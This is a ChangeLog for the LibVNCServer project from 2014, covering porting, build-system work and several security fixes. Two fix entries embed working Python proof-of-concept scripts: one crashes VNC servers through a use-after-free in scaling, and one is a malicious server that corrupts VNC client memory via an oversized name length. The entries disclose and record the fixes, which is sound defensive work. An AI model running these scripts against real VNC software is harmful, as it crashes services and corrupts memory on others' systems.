blob: 3953dd401b9790a5fec5c25554990d2591bca22a [file] [log] [blame]
Greg Hartmanbec50fd2015-06-17 22:16:13 -070012014-10-21 Christian Beier <dontmind@freeshell.org>
2
3 * NEWS: Update NEWS.
4
52014-10-21 Christian Beier <dontmind@freeshell.org>
6
7 * libvncserver/sockets.c: Update comments regarding
8 rfbClientConnectionGone().
9
102014-10-21 Christian Beier <dontmind@freeshell.org>
11
12 * libvncserver/scale.c: Fix Use-After-Free vulnerability in
13 LibVNCServer wrt scaling. Reported by Ken Johnson <Ken.Johnson1@telus.com>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor
14 and rfbSetScale cases in the rfbProcessClientNormalMessage function
15 of rfbserver.c. Sending a valid scaling factor is required
16 (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not
17 accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg,
18 sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n",
19 msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale,
20 cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger
21 a free. return; at the end, both cases there is a call the rfbSendNewScaleSize
22 function, where if the connection is subsequently disconnected after
23 sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth =
24 Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth
25 = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response
26 to a UltraVNC style frameuffer resize event (%dx%d)\n",
27 cl->scaledScreen->width, cl->scaledScreen->height); if
28 (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
29 rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead
30 to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is
31 called again on the return from rfbProcessClientNormalMessage. In
32 KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not
33 require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP =
34
35 [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD =
36
37
38
39 (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port>
40 [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
41
422014-10-14 dscho <johannes.schindelin@gmx.de>
43
44 * : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation
45
462014-10-10 Christian Beier <dontmind@freeshell.org>
47
48 * libvncclient/rfbproto.c: Fix possible libvncclient ServerInit
49 memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is
50 related to the ServerInit message where the width, the height of the
51 server's framebuffer, its pixel format, and the name are sent to the
52 client. The name can be used in a malicious manner to trigger a
53 memory corruption in the client. Field Size --------------------------------- name-length
54 [4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was
55 tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the
56 program to hang but allows you to try to disconnect. After this it
57 hangs. Occasionally there will be segmentation fault in memcpy. This
58 can become more reliable if you connect to a different VNC server
59 first (Or the wrong port on the malicious server) then connecting to
60 the malicious port. Every time I accidentally made the wrong VNC
61 connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it
62 with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
63 c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 =
64 "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
65 conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02"
66 conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01"
67 conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel =
68 0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM
69 = 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding =
70 "\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF +
71 "\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth,
72 frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM,
73 greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I",
74 nameLength) + nameString ) c.close()
75
762014-10-10 Christian Beier <dontmind@freeshell.org>
77
78 * libvncclient/sockets.c: Fix potential memory corruption in
79 libvncclient. Fixes (maybe amongst others) the following oCERT report
80 ([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious
81 msg.sct.length It looks like there may be a chance for potential memory corruption
82 when a LibVNCServer client attempts to process a Server Cut Text
83 message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); <<
84 Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can
85 return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) <<
86 Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); <<
87 Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible
88 to cause the malloc to fail, further leading to an attempt to write
89 0x0.
90
912014-10-09 Christian Beier <dontmind@freeshell.org>
92
93 * NEWS: Update NEWS for 0.9.10.
94
952014-10-09 Christian Beier <dontmind@freeshell.org>
96
97 * AUTHORS: Update AUTHORS.
98
992014-10-07 dscho <johannes.schindelin@gmx.de>
100
101 * : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual
102 autotools setup
103
1042014-10-07 Johannes Schindelin <johannes.schindelin@gmx.de>
105
106 * autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most
107 developers who are not in love with autoconf fail to remember that
108 autoreconf invocation, therefore it is better to have something
109 working in place. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
110
1112014-09-01 Nicolas Ruff <nruff@google.com>
112
113 * libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message
114 when processing the FileTime. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
115
1162014-10-07 dscho <johannes.schindelin@gmx.de>
117
118 * : Merge pull request #41 from newsoft/master Fixing 2 security issues
119
1202014-10-06 newsoft <newsoft@gmx.fr>
121
122 * libvncserver/scale.c: Make sure that no integer overflow could
123 occur during scaling
124
1252014-10-06 Christian Beier <dontmind@freeshell.org>
126
127 * libvncclient/Makefile.am: Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile.
128
1292014-10-03 Christian Beier <dontmind@freeshell.org>
130
131 * m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting.
132
1332014-10-02 Christian Beier <dontmind@freeshell.org>
134
135 * : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited.
136
1372014-10-02 Christian Beier <dontmind@freeshell.org>
138
139 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
140 webclients/novnc/include/base.css,
141 webclients/novnc/include/base64.js,
142 webclients/novnc/include/black.css,
143 webclients/novnc/include/blue.css,
144 webclients/novnc/include/chrome-app/tcp-client.js,
145 webclients/novnc/include/des.js,
146 webclients/novnc/include/display.js,
147 webclients/novnc/include/input.js,
148 webclients/novnc/include/jsunzip.js,
149 webclients/novnc/include/keyboard.js,
150 webclients/novnc/include/keysym.js,
151 webclients/novnc/include/keysymdef.js,
152 webclients/novnc/include/playback.js,
153 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
154 webclients/novnc/include/util.js,
155 webclients/novnc/include/web-socket-js/web_socket.js,
156 webclients/novnc/include/websock.js,
157 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
158 webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest
159 version from https://github.com/kanaka/noVNC.
160
1612014-09-21 Brian Bidulock <bidulock@openss7.org>
162
163 * .gitignore: add a few more ignores
164
1652014-09-21 Brian Bidulock <bidulock@openss7.org>
166
167 * autogen.sh: removed autogen.sh - no longer applicable: use autoreconf -fiv
168
1692014-10-02 Christian Beier <dontmind@freeshell.org>
170
171 * INSTALL, acinclude.m4, ltmain.sh: Remove autotools-related files
172 that will get installed by autoreconf -i.
173
1742014-10-02 Brian Bidulock <bidulock@openss7.org>
175
176 * Makefile.am, configure.ac: Use an m4 script subdirectory, fix
177 automake init and two macro names.
178
1792014-10-02 Brian Bidulock <bidulock@openss7.org>
180
181 * client_examples/Makefile.am, examples/Makefile.am,
182 examples/android/Makefile.am, libvncclient/Makefile.am,
183 libvncserver/Makefile.am, test/Makefile.am: Rename obsolete INCLUDES
184 to AM_CPPFLAGS
185
1862014-09-30 Johannes Schindelin <johannes.schindelin@gmx.de>
187
188 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
189 Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
190
1912014-09-30 dscho <johannes.schindelin@gmx.de>
192
193 * : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build.
194
1952014-09-30 dscho <johannes.schindelin@gmx.de>
196
197 * : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver
198
1992014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
200
201 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
202 These are UNIX headers, and are not available on MSVC
203
2042014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
205
206 * rfb/rfb.h: Those are generally the windows headers, not just MinGW
207
2082014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
209
210 * libvncserver/rfbserver.c: On windows, use the Win32 calls for
211 directory enumerations. We also do not need the conversion between UNIX values to Windows
212 values in the RTF_FIND_DATA struct, as we already are on windows.
213
2142014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
215
216 * libvncserver/httpd.c, libvncserver/rfbserver.c,
217 libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers
218 for compiling on windows without the mixing of Winsock 1 and 2.
219
2202014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
221
222 * libvncserver/rfbserver.c: Just use a macro to bridge to the Win32
223 version of `mkdir` The additional compat_mkdir function was not necessary at all.
224
2252014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
226
227 * compat/msvc/sys/time.h: Use correct `winsock2.h` version header
228 instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the
229 `WIN32_LEAN_AND_MEAN` is defined). The structs used in this header
230 are defined in `winsock2.h` or in `winsock.h`, but we are using
231 Winsock2 of course! So we have to include winsock2.h and refrain
232 from including windows.h here
233
2342014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
235
236 * libvncserver/httpd.c, libvncserver/rfbserver.c,
237 libvncserver/sockets.c: Fixed a violation of the C89 standard
238 ("declarations must come before instructions")
239
2402014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
241
242 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows
243 version for directory enumerations Basically taken from https://github.com/danielgindi/FileDir with
244 some adjustments
245
2462014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
247
248 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also
249 has the __FUNCTION__ predefined
250
2512014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
252
253 * libvncserver/tightvnc-filetransfer/filetransfermsg.c,
254 libvncserver/tightvnc-filetransfer/filetransfermsg.h:
255 `CreateDirectory` might clash with the
256 `CreateDirectoryA`/`CreateDirectoryW` macros on MSVC
257
2582014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
259
260 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when
261 NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program.
262
2632014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
264
265 * libvncclient/rfbproto.c, libvncclient/vncviewer.c,
266 libvncserver/rfbserver.c, libvncserver/sockets.c,
267 libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and
268 `resolv.h` are not available on MSVC, and some POSIX functions are
269 renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a
270 macro mapping to the _underscored version of MSVC.
271
2722014-09-09 Christian Beier <dontmind@freeshell.org>
273
274 * client_examples/Makefile.am: The HAVE_X11 define is not there
275 anymore, but we don't need it either.
276
2772014-09-09 Christian Beier <dontmind@freeshell.org>
278
279 * Makefile.am, configure.ac, vncterm/ChangeLog, vncterm/LinuxVNC.c,
280 vncterm/Makefile.am, vncterm/README, vncterm/TODO,
281 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
282 vncterm/example.c, vncterm/vga.h: Move vncterm to
283 https://github.com/LibVNC/vncterm.
284
2852014-09-09 Christian Beier <dontmind@freeshell.org>
286
287 * VisualNaCro/.gitignore, VisualNaCro/AUTHORS,
288 VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS,
289 VisualNaCro/README, VisualNaCro/autogen.sh,
290 VisualNaCro/configure.ac, VisualNaCro/default8x16.h,
291 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl:
292 Move VisualNaCro to https://github.com/LibVNC/VisualNaCro.
293
2942014-09-09 Christian Beier <dontmind@freeshell.org>
295
296 * prepare_x11vnc_dist.sh: Move prepare_x11vnc_dist.sh over to x11vnc
297 repo.
298
2992014-09-03 Christian Beier <dontmind@freeshell.org>
300
301 * Makefile.am, configure.ac: Remove x11vnc from autotools build
302 system.
303
3042014-09-03 Christian Beier <dontmind@freeshell.org>
305
306 * tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove
307 tightvnc-1.3dev5-vncviewer-alpha-cursor.patch.
308
3092014-09-03 Christian Beier <dontmind@freeshell.org>
310
311 * x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h,
312 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
313 x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c,
314 x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h,
315 x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c,
316 x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h,
317 x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
318 x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
319 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
320 x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h,
321 x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
322 x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
323 x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
324 x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE,
325 x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/Xdummy,
326 x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch,
327 x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup,
328 x11vnc/misc/enhanced_tightvnc_viewer/COPYING,
329 x11vnc/misc/enhanced_tightvnc_viewer/README,
330 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
331 x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat,
332 x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat,
333 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
334 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl
335 oad.url,
336 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down
337 load.url,
338 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca
339 tion.url,
340 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo
341 ad.url,
342 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc
343 e.url,
344 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down
345 load.url,
346 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
347 tion.url,
348 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do
349 wnload.url,
350 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo
351 cation.url,
352 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co
353 nf,
354 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co
355 nf,
356 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url,
357 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp
358 over,
359 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
360 viewer.sh,
361 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover,
362 x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc,
363 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
364 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
365 x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc,
366 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
367 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
368 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
369 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
370 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
371 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
372 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
373 x11vnc/misc/enhanced_tightvnc_viewer/src/README,
374 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README,
375 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
376 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
377 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied,
378 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
379 tch,
380 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
381 ll.patch,
382 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
383 llscreen.patch,
384 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
385 wfbsize.patch,
386 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
387 x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop,
388 x11vnc/misc/inet6to4, x11vnc/misc/panner.pl,
389 x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/ranfb.pl,
390 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear,
391 x11vnc/misc/slide.pl, x11vnc/misc/turbovnc/Makefile.am,
392 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
393 x11vnc/misc/turbovnc/convert,
394 x11vnc/misc/turbovnc/convert_rfbserver,
395 x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h,
396 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/uinput.pl,
397 x11vnc/misc/ultravnc_repeater.pl, x11vnc/misc/vcinject.pl,
398 x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h,
399 x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h,
400 x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c,
401 x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
402 x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
403 x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
404 x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
405 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c,
406 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
407 x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
408 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
409 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
410 x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c,
411 x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
412 x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h,
413 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
414 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
415 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
416 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
417 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove
418 x11vnc subdir. The new x11vnc repo is at https://github.com/LibVNC/x11vnc.
419
4202014-09-02 Johannes Schindelin <johannes.schindelin@gmx.de>
421
422 * libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
423
4242014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
425
426 * libvncclient/tls_openssl.c: Use Windows' critical sections to
427 emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
428 emulation library which is the reason we did not need
429 Windows-specific hacks earlier). Happily, it is very easy to provide
430 Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
431
4322014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
433
434 * libvncclient/zrle.c: Perform pointer arithmetic on char * instead
435 of void * Microsoft Visual C++ does not allow pointer arithmetic on void
436 pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
437
4382014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
439
440 * libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix
441 emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
442
4432014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
444
445 * libvncclient/listen.c, libvncclient/sockets.c,
446 libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef
447 guards To support Microsoft Visual C++, we must not guard Windows-specific
448 code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we
449 can use that instead. [JES: fixed commit message, reordered commit, split out unrelated
450 changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
451
4522014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
453
454 * compat/msvc/stdint.h, compat/msvc/sys/time.h,
455 compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from:
456 https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD
457 license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
458
4592014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com>
460
461 * libvncclient/rfbproto.c, libvncclient/sockets.c,
462 libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually
463 called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
464
4652014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com>
466
467 * rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header,
468 not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
469
4702014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
471
472 * libvncclient/vncviewer.c: Include Winsock2 header before windows.h
473 include That's because there are duplicate #defines, and when Winsock2 is
474 defined before windows.h then windows.h detects that and prevent
475 redefinition. See
476
477 http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
478
4792014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com>
480
481 * libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was
482 detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
483
4842014-08-26 dscho <johannes.schindelin@gmx.de>
485
486 * : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash)
487
4882014-08-18 Nicolas Ruff <nruff@google.com>
489
490 * libvncserver/rfbserver.c: Check malloc() return value on
491 client->server ClientCutText message. Client can send up to 2**32-1
492 bytes of text, and such a large allocation is likely to fail in case
493 of high memory pressure. This would in a server crash (write at
494 address 0).
495
4962014-08-16 dscho <johannes.schindelin@gmx.de>
497
498 * : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb
499
5002014-08-16 Johannes Schindelin <johannes.schindelin@gmx.de>
501
502 * acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
503
5042014-08-10 Luca Falavigna <dktrkranz@debian.org>
505
506 * acinclude.m4: Enable support for ppc64el architecture
507
5082014-08-10 Luca Falavigna <dktrkranz@debian.org>
509
510 * libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid
511 unnecessary linkage
512
5132014-08-16 Johannes Schindelin <johannes.schindelin@gmx.de>
514
515 * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
516
